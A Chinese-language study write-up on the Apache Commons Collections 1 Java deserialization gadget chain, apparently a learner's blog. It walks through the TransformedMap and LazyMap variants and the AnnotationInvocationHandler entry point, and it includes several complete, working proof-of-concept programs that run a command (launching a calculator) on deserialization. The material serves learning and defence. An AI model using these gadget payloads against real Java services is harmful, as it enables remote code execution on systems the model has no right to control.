半成品Common-Collections 1

前面做了那么多铺垫,就是为了cc链,本来想直接搞这个的,但是好多师傅建议把基础搞得差不多了再来啃会好点,总之现在就正式开始cc链的学习了

前言

在学习cc链之前需要先了解几个接口,因为在后面会涉及到

Transformer

Transformer是一个接口,它里面只有一个待实现的方法,它传入的参数也就是一个对象

public interface Transformer {
    public Object transform(Object input);
}

TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调

Map innerMap = new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,keyTransformer,valueTransformer);

在这个类中封装了一个decorate方法,它是用来修饰Java中的标准数据结构Map,当向被修饰过的Map中添加新元素时,就可以执行一个回调,其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现Transformer接⼝的类,也就是说keyTransformervalueTransformer这两个类都应该有Transformer接口,当对innerMap添加元素是会调用这两个类的transform方法

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在他执行构造函数的时候传⼊⼀个对象,并在调用transform⽅法时将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
 super();
 iMethodName = methodName;
 iParamTypes = paramTypes;
 iArgs = args; }

再来看看他的transform方法

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

大概意思就是会调用input对象的iMethodName方法

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
        }
    return object;
}

代码很简单,当传入的参数是数组的时候,会把数组内容放到iTransformers数组里面,这里没有给参数类型,是因为之前已经定义过了

当调用他的transform方法并传入object对象的时候,回依次把返回的对象再放入循环里面,直到结束后返回这个对象。

简单梳理

了解这几个重要方法后,来简单梳理一下
首先我们需要一个数组,这个数组中包含两个对象,一个是ConstantTransformer对象,用来返回Runtime对象;另一个是InvokerTransformer对象,用来执行Runtime对象中的exec方法;然后将这个数组用ChainedTransformer对象封装起来,让它构成一个回调;最后将这个ChainedTransformer对象用TransformedMap.decorate包装起来,包装成一个Map,当我们向这个Map中添加新元素时,就会调用ChainedTransformer对象中的transform方法,然后调用ConstantTransformer对象中的transform方法,最后调用InvokerTransformer对象中的transform方法,从而成功执行exec方法

理解demo

来看一看p神给的一段demo

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
Transformer transformerChain = new ChainedTransformer(transformers);

来理解一下:首先实例化了一个Transformer类型的数组,参数名为transformers,里面有两个参数,也是两个实例化后的对象,第⼀个是ConstantTransformer,直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer,执⾏Runtime对象的exec⽅法,参数是 /System/Applications/Calculator.app/Contents/MacOS/Calculator 。然后把transformers放到了ChainedTransformer里面。

具体实现:当调用了ChainedTransformertransform方法后,第一个传入的应该是实例化后的ConstantTransformer对象,调用他的transform方法返回了一个Runtime类的实例,然后把Runtime这个对象作为参数放进InvokerTransformer方法里面的transform方法中,接着就回执行Runtime里面的exec方法,参数也有。也就达到了命令执行的目的

现在就只有一个问题了,如何去触发ChainedTransformertransform方法。这个问题容易联想到最开始我们提到的TransformedMap.decorate

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zzz", "123");

HashMap

解释一下这里为什么要用HashMap这个类,先看下Hashmap的定义


HashMap 实现了 Map 接口,根据键的 HashCode 值存储数据,具有很快的访问速度,最多允许一条记录的键为 null,不支持线程同步。

HashMap 是无序的,即不会记录插入的顺序。

HashMap 继承于AbstractMap,实现了 Map、Cloneable、java.io.Serializable 接口

HashMap添加新元素
HashMap 类提供了很多有用的方法,添加键值对(key-value)可以使用 put() 方法:

这里主要是因为HashMap可以添加新的元素,并且可以和TransformedMap.decorate绑定使用

最终demo

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class a {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("zzz", "123");
    }
}

成品Common-Collections 1

对于上面一种构造cc链的方法,没有用到反射的知识,触发它也很受限制,只能我们手动去触发,但遇到真正需要它的环境这样并不现实,所以才需要构造一个完整的自动触发的成品cc链。

如何实现

我们前面说过,触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素。在demo中,我们可以手工执行 outerMap.put("test", "xxxx"); 来触发漏洞,但在实际反序列化时,我们需要找到一个类,它在反序列化的readObject逻辑里有类似的写入操作。

AnnotationInvocationHandler

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的readObject
方法(这是8u71以前的代码,8u71以后做了一些修改,这个后面再说):

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
        annotationType = AnnotationType.getInstance(type);
        }
        catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // i.e. member still exists
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}

核心逻辑是这 Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(...)

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。
所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); 
Object obj = construct.newInstance(Retention.class, outerMap);

简单介绍一下,大概是因为这个AnnotationInvocationHandler内部类比较特殊,不能用new,只能用反射的方法来获取,然后再利用他的构造方法获取对象就可以了

AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是Annotation类的子类,第二个参数是之前构造的outerMap,简单了解下这里为什么要用Retention.class
是由于AnnotationInvocationHandler类中的readObject方法,这里因为要进入到if语句中,要让memberType不为空,所以说就需要满足两个条件,这里涉及到Java注释相关的技术,现在还不太了解,先这样用吧

第一个条件是第一个参数必须是Annotation的子类,且其中必须含有至少一个方法
第二个条件是被TransformedMap.decorate修饰的Map中必须有一个键名为第一个参数中含有的方法名。

Retention正好有一个方法名为value,所以可以用Retention.class当第一个参数

而第二个条件可以直接通过HashMapput方法来向Map中添加一个keyvalue的元素:

innerMap.put("value", "test");

所有条件满足后,接着可以编写demo了:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class a {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\Windows\\System32\\calc.exe"})};
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","test");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cl.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

这里报错了,报错信息大概猜得到是java.lang.Runtime的问题,其实原因也很简单,并不是所有的类都是实现了java.io.Serializable接口的,也就是没有实现这个接口的类肯定是不允许序列化的,当传入ConstantTransformer,并且参数是Runtime类时,序列化的时候肯定会报错。

这里Runtime对象的实现成了问题,那只能换成Runtime.class,因为class类是实现了Serializable接口的,后面再利用反射,获取getRuntime方法,然后利用这个方法创建对象就好了。

Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("calc.exe");

传参的代码改成这样

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
            new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc.exe" }),};

其实和demo最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。然后不断利用反射来获得Runtime对象。

最后编写完整poc:


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class a {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","test");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cl.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

而且在transformers数组里面还有其他参数,像什么InvokerTransformer里面的getRuntiminvoke等,但是这里面传入的只是字符串,像字符串这种基本类型是不需要继承serialize接口的,所以那些也会被序列化。

运行过后是这样的

可以看到并没有弹出计算器,原因是因为在Java 8u71之后的版本里面,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 中的readObject函数,具体可以看下面这篇文章:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值对添加进去。 所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行setput操作,也就不会触发RCE

所以需要把java版本改小一点,我这里改成了jdk8u65,运行一下就出来了

ysoserial中的LazyMap

ysoserial中,它利用的是LazyMap而不是TransformedMap

LazyMapTransformedMap类似,都来自于Common-Collections库,并继承
AbstractMapDecorator
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值

先看一看他的get方法:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

也很好理解,containsKey是看当前的键名是否存在,所以当获取的keymap中不存在的key时,就会调用factory.transform方法去获取一个值,而上面的TransformedMap则是在写入元素的时候执行transform方法

接着看一下这个factory是什么,在LazyMap的构造函数中可以看到

protected LazyMap(Map map, Factory factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = FactoryTransformer.getInstance(factory);
    }

但是LazyMap的关键字是protected,也就是不能直接new,还要找个可以new它的方法,找到LazyMap中的decorate方法,这里面写了一个Map类型的decorate方法:

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

同样这里factory会传入到LazyMap的构造函数里面,编写一下

Map lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
lazymap.get("1");

因为是decorate方法是Map类型的,所以定义的变量也需要是Map类型的,直接调用Lazymap里面这个方法就可以了,显然这里第一个参数并不是必须要HashMap(),随便一个Map类型的实现类就可以了(因为Map是抽象类)

所以1这个键名之前没有传入,肯定是不存在的,也就会依次执行下去了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class demo {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
        lazymap.get("1");
    }
}

现在就是把他改成序列化数据,让他反序列化后触发了

但是现在出现了一个问题,AnnotationInvocationHandler类中的readObject方法中并没有直接调用map中的get方法,那么就不能触发后面的一系列操作,但好在AnnotationInvocationHandler类中的invoke方法中有调用到get,而ysoserial中就是选择的这一条比较复杂的路:通过AnnotationInvocationHandlerinvoke方法去调用get,来看看他的具体实现:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

之前在介绍AnnotationInvocationHandler类的时候有说到memberValues就是反序列化后得到的Map对象,但是如何去调用到它呢?这里就要用到动态代理的知识了

如何调用invoke

首先AnnotationInvocationHandler类 是实现了InvocationHandler接口的,那它里面肯定有个invode方法,也就是可以作为一个动态代理类,那我们就可以通过Proxy的静态方法newProxyInstance去动态创建代理了,当调用代理对象任何方法的时候,就可以进入到invoke方法中,这里就不赘述动态代理的东西了

接着我们对AnnotationinvocationHandler对象进行proxy,构造这一段的demo

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cl.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class,lazymap);
InvocationHandler handler = (InvocationHandler)obj;
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);

入口点是AnnotationinvocationHandlerreadObject方法,因为里面可以调用代理的方法,所以需要用AnnotationinvocationHandlerproxyMap进行包裹

InvocationHandler x = (InvocationHandler)constructor.newInstance(Retention.class,proxyMap);

给出最后的poc:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class demo {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazymap = LazyMap.decorate(innerMap,chainedTransformer);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cl.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,lazymap);
        InvocationHandler handler = (InvocationHandler)obj;
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
        Object x = constructor.newInstance(Retention.class,proxyMap);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(x);
        objectOutputStream.close();
        System.out.println(byteArrayOutputStream);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = (Object)objectInputStream.readObject();
        System.out.println(o);

    }
}

先看一下整个利用链:

Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

梳理一下:序列化后,然后反序列化,反序列化的时候会调用 AnnotationinvocationHandlerreadObject方法,在readObject方法里面有个地方可以调用代理类的entrySet()方法,注意这里定义的是Map类型,所以我们定义proxyMap的时候也要用Map,由于使用了动态代理,当调用Map类(代理类的类型)中的任意方法时,会调用第三个参数的invoke方法,接着就是判断是否存在Map中是否存在key这个键名,因为我们没有传参,所以肯定是不存在的,然后就依次去调用执行就结束了

LazyMap与TransformedMap的对比

前面详细分析了LazyMap的用法并且构造了poc,但是LazyMap仍然无法解决CommonCollections1Java高版本(8u71以后)中的使用问题

LazyMap的漏洞触发在getinvoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject中有没有setValue没任何关系,主要还是跟逻辑有关系,主要它会新建一个map对象,而没有用我们构造的那个map了

只不过我还是认为TransformedMap用起来更加方便一点,不太明白为啥ysoserial要使用LazyMap

唠嗑

顺便记录一下为什么我在调试的时候发现弹出了多个计算器,其实是在调试的时候,因为proxyMap已经代理了map,所以任何地方调用map的方法,都会触发invoke方法,导致执行一次,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了 命令。

还有个点就是运行的时候会报错,但是还是可以运行下去,报错的原因是因为反序列化后会按照我们构造的顺序去执行链子最后执行命令,但它很多函数本来并不是这样用的,所以readobject里面一些可能不恰当的用法会导致爆出warning的错误,不过也并不影响执行